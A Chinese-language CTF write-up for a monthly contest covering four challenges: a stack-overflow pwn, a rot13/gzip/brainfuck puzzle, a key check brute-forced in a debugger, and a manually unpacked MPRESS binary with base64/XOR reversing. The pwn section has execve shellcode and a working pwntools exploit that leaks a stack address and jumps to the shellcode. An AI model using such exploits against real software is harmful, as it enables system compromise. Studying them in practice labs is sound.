3月月赛

pwn

easypwn

Download: pwn)

ida打开程序以后可以看见一个很明显的栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-20h]
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
puts("Please Select:");
puts("1.Listen something.");
puts("2.Speak something to me.");
puts("3.ESC");
__isoc99_scanf("%d", &v5);
if ( v5 != 1 )
break;
printf("%ld\n", &buf);
}
if ( v5 == 2 )
read(0, &buf, 0x40uLL);
else
puts("Bye~~");
return 0;
}

输入2的时候读取了0x40 byte数据但是只有0x20的空间, 可以劫持到EIP

看一下保护

➜  Desktop checksec pwn
[*] '/home/a/Desktop/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

开了PIE, 但是没有开NX, 可以把shellcode写到栈上跳转上去执行

但是开了pie, 栈地址是随机化的, 我们可以用选项1来leak栈地址

在gdb里看一下printf的地址

pwndbg> 
140737488346288

即 0x7fffffffdcb0

看一下输入数据的地址

00:0000│ rsi rsp  0x7fffffffdcb0 ◂— '23333333\nPUUUU'
01:0008│          0x7fffffffdcb8 —▸ 0x55555555500a (_init+10) ◂— add    byte ptr [rax - 0x7b], cl
02:0010│          0x7fffffffdcc0 —▸ 0x7fffffffddb0 ◂— 0x1
03:0018│          0x7fffffffdcc8 ◂— 0x200000000
04:0020│ rbp      0x7fffffffdcd0 —▸ 0x555555555320 (__libc_csu_init) ◂— push   r15
05:0028│          0x7fffffffdcd8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│          0x7fffffffdce0 ◂— 0x1
07:0038│          0x7fffffffdce8 —▸ 0x7fffffffddb8 —▸ 0x7fffffffe17e ◂— 0x2f612f656d6f682f ('/home/a/')

可以看到输入的数据的地址正好是之前输出的栈地址

写入shellcode跳转到这个地址即可

在exploit-db找了个shellcode, 小于0x40就行

shellcode = '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'

然后溢出到EIP执行shellcode

exp:

from pwn import *
r = process('./pwn')
context(os='linux', arch='amd64', log_level='debug')
shellcode = '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'

r.sendlineafter('3.ESC\n', '1')
stack_addr = int(r.recvuntil('\n')[:-1], 10)
print ('[*] stack addr = ' + str(stack_addr))
r.sendlineafter('3.ESC\n', '2')
r.sendline(shellcode + 'a' * (0x28 - len(shellcode)) + p64(stack_addr))
r.interactive()

Journey2urBF

Download: Journey2urBF.bz2)

直接cat文件

00000000: 1s8o 0808 s474 7s5p 0003 666p 6167 0085  .....g.\..synt..
00000010: 91oo 1180 300p 437o 56q1 2513 s8op 08p7  ....0.P{I.%.....
00000020: sr6o 6011 p740 or2r 12r9 49o8 0840 9953  .x`..@....V..@.F
00000030: 1550 2n2q p0ns 8ss8 p9p6 7476 0086 6802  .C*-......gi..u.
00000040: n778 112p n34q 0848 33r9 529o p4p9 3rr1  .k.,.Z.U3.E...>.
00000050: 2q35 2846 78p4 s511 3sq9 98pr 0rp0 104q  -5(Sk...?......Z
00000060: r014 2s82 65o4 09o7 o115 qr47 no23 001s  ../.r......T.#..
00000070: q04r n174 p81r 98s0 5553 38qo nsn5 24ps  .A.g....HF8...$.
00000080: 22s8 p670 5pr3 7sn6 7r5r 53r6 n996 72q4  "..c\...~^F...e.
00000090: 9rqr 7103 spp1 114p rs02 0000            ..d....Y....

Congratulations! You have found the flag! But it seems that it's 
broken.All lowercase (a-z) and uppercase (A-Z) letters have been
rotated by 13 positions,can you repair it?  

Hint:The flag was expressed in an ugly programming language,try 
to solve it.

根据提示猜测是rot 13, 找个在线解密

00000000: 1f8b 0808 f474 7f5c 0003 666c 6167 0085  .....t.\..flag..
00000010: 91bb 1180 300c 437b 56d1 2513 f8bc 08c7  ....0.C{V.%.....
00000020: fe6b 6011 c740 be2e 12e9 49b8 0840 9953  .k`..@....I..@.S
00000030: 1550 2a2d c0af 8ff8 c9c6 7476 0086 6802  .P*-......tv..h.
00000040: a778 112c a34d 0848 33e9 529b c4c9 3ee1  .x.,.M.H3.R...>.
00000050: 2d35 2846 78c4 f511 3fd9 98ce 0ec0 104d  -5(Fx...?......M
00000060: e014 2f82 65b4 09b7 b115 de47 ab23 001f  ../.e......G.#..
00000070: d04e a174 c81e 98f0 5553 38db afa5 24cf  .N.t....US8...$.
00000080: 22f8 c670 5ce3 7fa6 7e5e 53e6 a996 72d4  "..p\...~^S...r.
00000090: 9ede 7103 fcc1 114c ef02 0000            ..q....L....

看到了flag文件, 文件头1f8b 0808搜了一下是压缩文件, 在010editor中把上面的数据copy进去另存为压缩文件打开

brainfuck解两次即可拿到flag

dice

Download: RE_dict.exe

运行程序后, 发现是输入6个数字的key, 如果key正确就输出flag

ida反编译康康

六个数字都是分开判断的, 那么我们完全可以用ida的调试进行爆破…

在判断这里下断点然后从1到6分别输入每一位进行判断即可, 如果正确则会继续往下走 否则跳转到输出wrong

最后key : 43251

simple unpack

用detect it easy查壳

发现是mpress2.19的壳

找了一圈没找到脱壳工具…尝试手脱

od打开exe文件

照着加密与解密的方法, 一路找到程序入口点

具体来说就是调试外壳程序, 单步调试到一个类似

push 40130
retn

的位置, 即大段的jump操作, 跳转到一个距离当前位置很远的代码

然后这里的代码可能是

0401130 55 db 55 ; CHAR ‘U’
0401131 8b db 8b
0401132 ec db ec
0401133 6a db 6a ; CHAR ‘j’

这样的形式

按下Ctrl + A强迫OD重新分析代码, 即可得到去壳后的程序

然后把去壳后的程序dump出来

在入口点那里右键, 用od脱壳调试进程, 保存即可

用ida打开以后就可以看到脱壳后的代码了

程序逻辑是 对输入的数据进行了一波操作, 然后跟一组数据比对

第一个操作函数, 根据我多(bu)年(cun)逆(zai)向(de)的经验来看是base64算法

2333, 实际上是根据代码里的几个等于号猜测是base64算法

那么我们测试一下输入test12345, 找个在线加密的网站 结果是dGVzdDEyMzQ1

看一下返回的result

确定是base64

接下来两个函数对base64的结果操作了一波

函数1:

int __cdecl sub_401160(const char *a1)
{
__int64 v1; // rax

v1 = 0i64;
if ( strlen(a1) != 0 )
{
do
{
a1[HIDWORD(v1)] = (a1[HIDWORD(v1)] + 6) ^ 6;
LODWORD(v1) = 0;
++HIDWORD(v1);
}
while ( HIDWORD(v1) < strlen(a1) );
}
return v1;
}

即对每一位进行+6^6操作

测一下我们base64串的第一位和第二位操作以后的结果

>>> print ord('d') + 6 ^ 6
108
>>> print chr(108)
l
>>> print ord('G') + 6 ^ 6
75
>>> print chr(75)
K

和内存中的结果正好一致

函数2:

int __cdecl sub_4011A0(const char *a1)
{
__int64 v1; // rax

v1 = 0i64;
if ( strlen(a1) != 0 )
{
do
{
a1[HIDWORD(v1)] ^= BYTE4(v1);
LODWORD(v1) = 0;
++HIDWORD(v1);
}
while ( HIDWORD(v1) < strlen(a1) );
}
return v1;
}

函数2是和自己下标求异或

测试一下前两位:

>>> print chr(108 ^ 0)
l
>>> print chr(75 ^ 1)
J

看一下返回结果:

bingo

最后一个比对函数, 往内存中输入32位数据, 然后对之前操作完的输入进行比对

那么程序最终逻辑就是, 输入的key经过base64后, 先逐字符加6异或6, 然后逐字符异或下标, 得到的32位进行比对

逆向算法即, 对比对的32位逐字符异或下标, 然后异或6后减6, base64解码即可

32位数据位\x61\x4B\x58\x6B\x6A\x72\x6E\x36\x51\x52\x37\x61\x55\x3D\x44\x72\x48\x2E\x5C\x7B\x49\x93\x4C\x7D\x7E\x28\x4C\x73\x7A\x56\x43\x23

jio本:

cmp = '\x61\x4B\x58\x6B\x6A\x72\x6E\x36\x51\x52\x37\x61\x55\x3D\x44\x72\x48\x2E\x5C\x7B\x49\x93\x4C\x7D\x7E\x28\x4C\x73\x7A\x56\x43\x23'
num = 0
decrypt = ''
for i in cmp:
decrypt += chr(((ord(i) ^ num) ^ 6) - 6)
num = num + 1
print decrypt

然后base64解密这个字符串即可~